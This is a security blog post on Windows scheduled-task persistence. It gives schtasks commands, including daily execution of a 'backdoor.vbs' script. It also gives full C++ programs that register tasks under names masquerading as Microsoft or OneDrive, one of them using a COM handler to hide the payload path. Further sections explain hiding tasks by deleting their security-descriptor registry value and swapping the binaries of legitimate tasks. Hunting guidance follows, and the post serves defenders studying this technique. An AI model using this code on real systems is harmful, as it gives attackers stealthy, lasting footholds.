Persistence 101: Looking at the Scheduled Tasks

This post discusses another mechanism for persistence on hosts running Windows. This mechanism is scheduled tasks and is documented as T1053.005 in the MITRE ATT&CK knowledge base [1]. Scheduled tasks enable users and/or administrators to persistently execute applications on Windows systems. Scheduled tasks can be created using the Task Scheduler, programmatically or using the native Windows utility schtasks.exe from the command prompt.

The post is divided in the following sections:

schtasks: Windows native tool for managing scheduled tasks

Before demonstrating a scenario based example, let’s give a little information about schtasks.exe. As usual, we can get the help/manual page for this utility on the command prompt by typing:

schtasks /?

We can get a list of the available scheduled tasks with the following command:

schtasks /query

If we want to create a new sceduled task, we’ll have to specify the location of the resource we want to execute (TR - taskrun), the name of the scheduled task we’re setting up (TN - taskname), the frequency (SC - schedule). For example, in case we want to persistently execute notepad on a host on a daily basis, we use the following options:

schtasks /CREATE /SC DAILY /TN "Persistent Notepad" /TR "C:\Windows\System32\notepad.exe"

In the above command we haven’t explicitly specified a starting time (ST) for the scheduled task. In this case, the starting time of this scheduled task will be the time it was created.

We can specify a starting time - for example 3pm - with the following command:

schtasks /CREATE /SC DAILY /ST 15:00 /TN "Persistent Notepad" /TR "C:\Windows\System32\notepad.exe"

In case we want to set up a scheduled task for a user account on a remote host, we can specify the hostname and user credentials to achieve this goal. See the following command line arguments:

schtasks /S <hostname> /U <username> /P <password> /CREATE /SC DAILY /TN “Persistent Notepad” /TR "C:\Windows\System32\notepad.exe"

Once a scheduled task has been created, its XML configuration file is created in the following directory:

C:\Windows\System32\Tasks

Register scheduled task with schtasks to run VB Script

Let’s assume we got a shell on a Windows 10 host and we now want to execute a payload persistently on this host. The payload can be a backdoor for example that will enable us future communication with the host. For this purpose we’ll have to create a scheduled task. Of course, we can use schtasks as mentioned earlier.

It’s also possible to create a scheduled task to persistently execute a script (.js, .vbs, .hta) by specifying the path of the script. For example:

schtasks /CREATE /SC DAILY /TN "Persistent Script" /TR "C:\Users\user\AppData\Local\Temp\backdoor.vbs"

Programmatically register a scheduled task using COM (IExecAction)

Using the COM interface of the Task Scheduler, the code listed below registers a scheduled task that runs notepad.exe every day at 3pm. This implementation uses the IExecAction COM interface and represents an action that executes a command-line operation. The interface is documented in [7].

#include <stdio.h>
#include <windows.h>

#include <comutil.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

DWORD CreateScheduledTask(WCHAR* TaskAuthor, WCHAR* TaskName, WCHAR* wstrExePath)
{
	/*
		WCHAR TaskAuthor[] = L"Microsoft Corporation";
		WCHAR TaskName[] = L"OneDrive Standalone Update Task-S-1-5-21-4162225321-4122752593-2322023677-001";
		WCHAR path[] = L"C:\\Windows\\System32\\notepad.exe";
		DWORD res_sch = CreateScheduledTask(TaskAuthor, TaskName, path);
	*/

	HRESULT hr = S_OK;

	// initialize the COM library
	hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
	if ((hr != S_OK) && hr != S_FALSE)
	{
		::wprintf(L"[-] CoInitializeEx has failed\n");
		return 0;
	}
	else if (hr == S_FALSE)
	{
		// informational
		::wprintf(L"[*] COM library has been already initialized\n");
	}

	// set security for the process
	PSECURITY_DESCRIPTOR pSecDesc = { 0 };
	hr = ::CoInitializeSecurity(pSecDesc, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
	if (hr != S_OK)
	{
		::wprintf(L"[-] CoInitializeSecurity has failed\n");
		::CoUninitialize();
		return 0;
	}

	// create and initiliaze an object of the class associated with the specified CLSID
	ITaskService* pService = NULL;
	hr = ::CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void **)&pService);
	if (hr != S_OK)
	{
		::wprintf(L"[-] CoCreateInstance has failed\n");
		::CoUninitialize();
		return 0;
	}

	// connect to the task service
	hr = pService->Connect(VARIANT(), VARIANT(), VARIANT(), VARIANT());
	if (FAILED(hr))
	{
		::wprintf(L"[-] ITaskService::Connect has failed\n");
		pService->Release();
		::CoUninitialize();
		return 0;
	}

	// get root task folder
	ITaskFolder* pRootFolder = NULL;
	hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
	if (FAILED(hr))
	{
		::wprintf(L"[-] ITaskService::GetFolder has failed\n");
		pService->Release();
		::CoUninitialize();
		return 0;
	}

	// task builder object
	ITaskDefinition* pTask = NULL;
	hr = pService->NewTask(0, &pTask);
	pService->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] ITaskService::NewTask has failed\n");
		pService->Release();
		::CoUninitialize();
		return 0;
	}

	// set identification
	IRegistrationInfo* pRegInfo = NULL;
	hr = pTask->get_RegistrationInfo(&pRegInfo);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_RegistrationInfo has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// get AuthorName from user
	hr = pRegInfo->put_Author(_bstr_t(TaskAuthor));
	pRegInfo->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_RegistrationInfo has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// principal for the task
	IPrincipal* pPrincipal = NULL;
	hr = pTask->get_Principal(&pPrincipal);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_Principal has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// principal logon type INTERACTIVE LOGON
	hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
	pPrincipal->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] put_LogonType has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// add time trigger
	ITriggerCollection* pTriggerCollection = NULL;
	hr = pTask->get_Triggers(&pTriggerCollection);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_Triggers has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	ITrigger* pTrigger = NULL;
	hr = pTriggerCollection->Create(TASK_TRIGGER_DAILY, &pTrigger);
	pTriggerCollection->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger Create has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	IDailyTrigger* pDailyTrigger = NULL;
	hr = pTrigger->QueryInterface(IID_IDailyTrigger, (void**)& pDailyTrigger);
	pTrigger->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	hr = pDailyTrigger->put_Id(_bstr_t(L"TestTrigger"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger put_Id has failed\n");
	}

	/*
	hr = pDailyTrigger->put_EndBoundary(_bstr_t(L"2022-05-02T08:00:00"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger put_EndBoundary has failed\n");
	}
	*/

	hr = pDailyTrigger->put_StartBoundary(_bstr_t(L"1992-01-05T15:00:00"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger put_StartBoundary has failed\n");
		return 0;
	}

	hr = pDailyTrigger->put_DaysInterval((short)1);
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pDailyTrigger->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// repetition to the trigger
	IRepetitionPattern* pRepetitionPattern = NULL;
	hr = pDailyTrigger->get_Repetition(&pRepetitionPattern);
	pDailyTrigger->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	/*
	hr = pRepetitionPattern->put_Duration(_bstr_t(L"PD4M"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pRepetitionPattern->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}
	*/

	// repeat task every day
	// P<days>D<hours>H<minutes>M<seconds>S
	hr = pRepetitionPattern->put_Interval(_bstr_t(L"P1D"));
	pRepetitionPattern->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// set task action
	IActionCollection* pActionCollection = NULL;
	hr = pTask->get_Actions(&pActionCollection);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_Actions has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	IAction* pAction = NULL;
	hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
	pActionCollection->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] Create action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	IExecAction* pExecAction = NULL;
	hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
	pAction->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	hr = pExecAction->put_Path(_bstr_t(wstrExePath));
	pExecAction->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// Register the task
	IRegisteredTask* pRegisteredTask = NULL;
	hr = pRootFolder->RegisterTaskDefinition(
		_bstr_t(TaskName), 
		pTask, 
		TASK_CREATE_OR_UPDATE, 
		_variant_t(), 
		_variant_t(), 
		TASK_LOGON_INTERACTIVE_TOKEN, 
		_variant_t(L""), 
		&pRegisteredTask
	);
	
	if (FAILED(hr))
	{
		::wprintf(L"[-] RegisterTaskDefinition has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	::wprintf(L"[+] Scheduled task has been created\n");
	// close the COM library
	pRootFolder->Release();
	pTask->Release();
	pRegisteredTask->Release();
	::CoUninitialize();

	return 1;
}

/*
int main()
{
	WCHAR TaskAuthor[] = L"Microsoft Corporation";
	WCHAR TaskName[] = L"OneDrive Standalone Update Task-S-1-5-21-4162225321-4122752593-2322023677-001";
	WCHAR path[] = L"C:\\Windows\\System32\\notepad.exe";
	DWORD res_sch = CreateScheduledTask(TaskAuthor, TaskName, path);
}
*/

Programmatically register a scheduled task using COM (IComHandlerAction)

The implementation listed in this section uses the IComHandlerAction COM interface. IComHandlerAction represents an action that fires a handler. The interface is documented in [8].

Scheduled tasks that use a Custom Handler (technically known as COM Handler) are particular interesting because they allow attackers to hide the full path of their payload. As a result, the configuration of the scheduled task does not point directly to the path of the configured payload (as it happens when a scheduled task is set with IExecAction). The Action of such a task only points to a CLSID (GUID) that is configured to point to the COM server that will run by the task scheduler. However, there is some required legwork to configure the COM server, which is documented in [9].

When the Task Scheduler triggers a task that has a Custom Handler, the COM server (in this case the attacker’s payload), is loaded in the address space of a COM surrogate process DllHost.exe. A description of the DLLSurrogate can be found in [10]. This increases the overhead for threat hunters and incident responders and the reason is that it overall increases the sources of information they need to investigate to correlate data and identify the malicious payload. Hiding the path of the payload from the scheduled task configuration also evades any detection rules that are based on the file path and as a result thwarts threat hunting activities.

Although not a strong requirement, a COM Hander is expected to implement the ITaskHandler interface. This is officially documented by Microsoft in [12]. An example COM Handler implementation of a COM Handler is detailed in [13] and the source code is available in [14].

Bonus trivia: To find out what APIs were required to set up a Custom Handler, strings around line 1101 from [11] were used.

#include <stdio.h>
#include <windows.h>

#include <comutil.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

DWORD CreateScheduledTask(WCHAR* TaskAuthor, WCHAR* TaskName, WCHAR* TaskCLSID)
{
	//WCHAR TaskAuthor[] = L"Microsoft Corporation";
	//WCHAR TaskName[] = L"TestTask";
	//// TaskCLSID must be a GUID
	//WCHAR TaskCLSID[] = L"<INSERT GUID>";
	//DWORD res_sch = CreateScheduledTask(TaskAuthor, TaskName, TaskCLSID);

	HRESULT hr = S_OK;

	// initialize the COM library
	hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
	if ((hr != S_OK) && hr != S_FALSE)
	{
		::wprintf(L"[-] CoInitializeEx has failed\n");
		return 0;
	}
	else if (hr == S_FALSE)
	{
		// informational
		::wprintf(L"[*] COM library has been already initialized\n");
	}

	// set security for the process
	PSECURITY_DESCRIPTOR pSecDesc = { 0 };
	hr = ::CoInitializeSecurity(pSecDesc, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
	if (hr != S_OK)
	{
		::wprintf(L"[-] CoInitializeSecurity has failed\n");
		::CoUninitialize();
		return 0;
	}

	// create and initiliaze an object of the class associated with the specified CLSID
	ITaskService* pService = NULL;
	hr = ::CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
	if (hr != S_OK)
	{
		::wprintf(L"[-] CoCreateInstance has failed\n");
		::CoUninitialize();
		return 0;
	}

	// connect to the task service
	hr = pService->Connect(VARIANT(), VARIANT(), VARIANT(), VARIANT());
	if (FAILED(hr))
	{
		::wprintf(L"[-] ITaskService::Connect has failed\n");
		pService->Release();
		::CoUninitialize();
		return 0;
	}
	
	// get root task folder
	ITaskFolder* pRootFolder = NULL;
	hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
	if (FAILED(hr))
	{
		::wprintf(L"[-] ITaskService::GetFolder has failed\n");
		pService->Release();
		::CoUninitialize();
		return 0;
	}

	// task builder object
	ITaskDefinition* pTask = NULL;
	hr = pService->NewTask(0, &pTask);
	pService->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] ITaskService::NewTask has failed\n");
		pService->Release();
		::CoUninitialize();
		return 0;
	}

	// set identification
	IRegistrationInfo* pRegInfo = NULL;
	hr = pTask->get_RegistrationInfo(&pRegInfo);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_RegistrationInfo has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// get AuthorName from user
	hr = pRegInfo->put_Author(_bstr_t(TaskAuthor));
	pRegInfo->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_RegistrationInfo has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// principal for the task
	IPrincipal* pPrincipal = NULL;
	hr = pTask->get_Principal(&pPrincipal);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_Principal has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// principal logon type INTERACTIVE LOGON
	hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
	pPrincipal->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] put_LogonType has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// add time trigger
	ITriggerCollection* pTriggerCollection = NULL;
	hr = pTask->get_Triggers(&pTriggerCollection);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_Triggers has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	ITrigger* pTrigger = NULL;
	hr = pTriggerCollection->Create(TASK_TRIGGER_DAILY, &pTrigger);
	pTriggerCollection->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger Create has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	IDailyTrigger* pDailyTrigger = NULL;
	hr = pTrigger->QueryInterface(IID_IDailyTrigger, (void**)&pDailyTrigger);
	pTrigger->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	hr = pDailyTrigger->put_Id(_bstr_t(L"TestTrigger"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger put_Id has failed\n");
	}

	/*
	hr = pDailyTrigger->put_EndBoundary(_bstr_t(L"2022-05-02T08:00:00"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger put_EndBoundary has failed\n");
	}
	*/

	hr = pDailyTrigger->put_StartBoundary(_bstr_t(L"1992-01-05T15:00:00"));
	if (FAILED(hr))
	{
		::wprintf(L"[-] Trigger put_StartBoundary has failed\n");
		return 0;
	}

	hr = pDailyTrigger->put_DaysInterval((short)1);
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pDailyTrigger->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// repetition to the trigger
	IRepetitionPattern* pRepetitionPattern = NULL;
	hr = pDailyTrigger->get_Repetition(&pRepetitionPattern);
	pDailyTrigger->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// repeat task every day
	// P<days>D<hours>H<minutes>M<seconds>S
	hr = pRepetitionPattern->put_Interval(_bstr_t(L"P1D"));
	pRepetitionPattern->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	// set task action
	IActionCollection* pActionCollection = NULL;
	hr = pTask->get_Actions(&pActionCollection);
	if (FAILED(hr))
	{
		::wprintf(L"[-] get_Actions has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	IAction* pAction = NULL;
	hr = pActionCollection->Create(TASK_ACTION_COM_HANDLER, &pAction);
	pActionCollection->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] Create action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	IComHandlerAction* comAction = NULL;
	hr = pAction->QueryInterface(IID_PPV_ARGS(&comAction));
	pAction->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] QueryInterface action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}
	
	hr = comAction->put_ClassId(BSTR(TaskCLSID));
	if (FAILED(hr))
	{
		::wprintf(L"[-] put_ClassId action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	/*
	hr = comAction->put_Data(TaskName);
	comAction->Release();
	if (FAILED(hr))
	{
		::wprintf(L"[-] put_Data action has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}
	*/

	// Register the task
	IRegisteredTask* pRegisteredTask = NULL;
	hr = pRootFolder->RegisterTaskDefinition(
		_bstr_t(TaskName),
		pTask,
		TASK_CREATE_OR_UPDATE,
		_variant_t(),
		_variant_t(),
		TASK_LOGON_INTERACTIVE_TOKEN,
		_variant_t(L""),
		&pRegisteredTask
	);

	if (FAILED(hr))
	{
		::wprintf(L"[-] RegisterTaskDefinition has failed\n");
		pRootFolder->Release();
		pTask->Release();
		::CoUninitialize();
		return 0;
	}

	::wprintf(L"[+] Scheduled task has been created\n");
	// close the COM library
	pRootFolder->Release();
	pTask->Release();
	pRegisteredTask->Release();
	::CoUninitialize();

	return 1;
}

int main()
{
	WCHAR TaskAuthor[] = L"Microsoft Corporation";
	WCHAR TaskName[] = L"TestTask";
	// TaskCLSID must be a GUID
	WCHAR TaskCLSID[] = L"<INSERT GUID>";
	DWORD res_sch = CreateScheduledTask(TaskAuthor, TaskName, TaskCLSID);
}

Activity traces

The above code was tested on a Windows 10 system. As soon as the scheduled task is registered, the following two events are recorded in the Windows Event Log:

Replacing scheduled tasks for evasion

On Windows hosts, there is always a number of legitimate scheduled tasks. These scheduled tasks can be abused to hide malicious binaries by replacing the file that the task scheduler runs. Additionally, if the task is executed with elevated privileges, the attacker can use this technique as to run code with higher privileges.

Attackers such as the group that ESET calls PowerPool [6] has replaced GoogleUpdate.exe with malware to evade detections as well as elevate privileges on a host.

Common scheduled tasks found on Windows

A list of common scheduled tasks found on Windows systems:

By replacing the PE file the above tasks run or by changing the configuration of the scheduled tasks to point to a malware, attackers can stay under the radar of the human eye.

Hiding scheduled tasks

When a scheduled task is created a number of events occur. One of which is the creation of the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<TASK_NAME>

Under this registry key, a sub-key named SD is created. SD stands for Security Descriptor and in essence it dictates who (of the user accounts) can see and execute a given scheduled task. For more information see the research referenced in [4].

It turns out that if that specific registry key (SD - security descriptor) is missing, then the scheduled task becomes hidden. So, attackers can register a new scheduled task and then delete the security descriptor of this task. That’s a technique that adds an additional defense evasion layer, as incident responders - or whoever conducts incident respodn - will not be able to list the scheduled tasks on a host using the command schtasks /query for example. The technique has been leveraged by threat actors, such as HAFNIUM [5].

Hunting for hidden scheduled tasks

A scheduled task with no security descriptor is an indicator sufficient enough to raise flags. Threat hunters should sweep environments for scheduled tasks that do not have a security descriptor set and triage their findings.

Bonus: Hunting for malware in Tasks directories

If you’re hunting for malware in your environment, it is recommended to check for executables that exist/launched in/from the following directories:

C:\Windows\System32\Tasks

C:\Windows\SysWOW64\Tasks

C:\Windows\Tasks

The path C:\Windows\Tasks is where the scheduled tasks are configured with the at.exe utility. This utility is deprecated.

References

[1] https://attack.mitre.org/techniques/T1053/005/

[2] https://docs.microsoft.com/en-us/windows/win32/taskschd/daily-trigger-example–c—

[3] https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertaskdefinition

[4] https://michlstechblog.info/blog/windows-run-task-scheduler-task-as-limited-user/

[5] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/

[6] https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

[7] https://learn.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iexecaction

[8] https://learn.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-icomhandleraction

[9] https://learn.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation

[10] https://www.221bluestreet.com/offensive-security/windows-components-object-model/demystifying-windows-component-object-model-com#dllsurrogate

[11] https://github.com/WinDLLsExports/10_0_22622_601/blob/main/C/Windows/System32/NaturalAuth.dll.strings#L1101

[12] https://learn.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itaskhandler

[13] https://blog.yaxser.io/posts/task-scheduler-com-handler

[14] https://github.com/Yaxser/Itaskhandler


tags: #persistence